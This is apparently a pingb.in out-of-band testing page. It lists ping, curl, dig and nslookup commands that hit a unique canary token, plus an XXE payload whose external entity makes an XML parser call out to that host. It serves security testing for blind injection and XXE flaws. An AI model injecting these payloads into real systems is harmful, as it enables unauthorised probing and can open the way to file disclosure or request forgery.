$ ping -c1 -p 00a7264c378877fea8119e4cea4ce300 pingb.in
 
$ curl pingb.in/p/a7264c378877fea8119e4cea4ce3
 
$ dig a7264c378877fea8119e4cea4ce3 @pingb.in
 
$ dig a7264c378877fea8119e4cea4ce3.ns.pingb.in
 
C:\> nslookup a7264c378877fea8119e4cea4ce3 pingb.in
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://pingb.in/p/a7264c378877fea8119e4cea4ce3">]>
    <foo>&xxe;</foo>
Waiting for ping...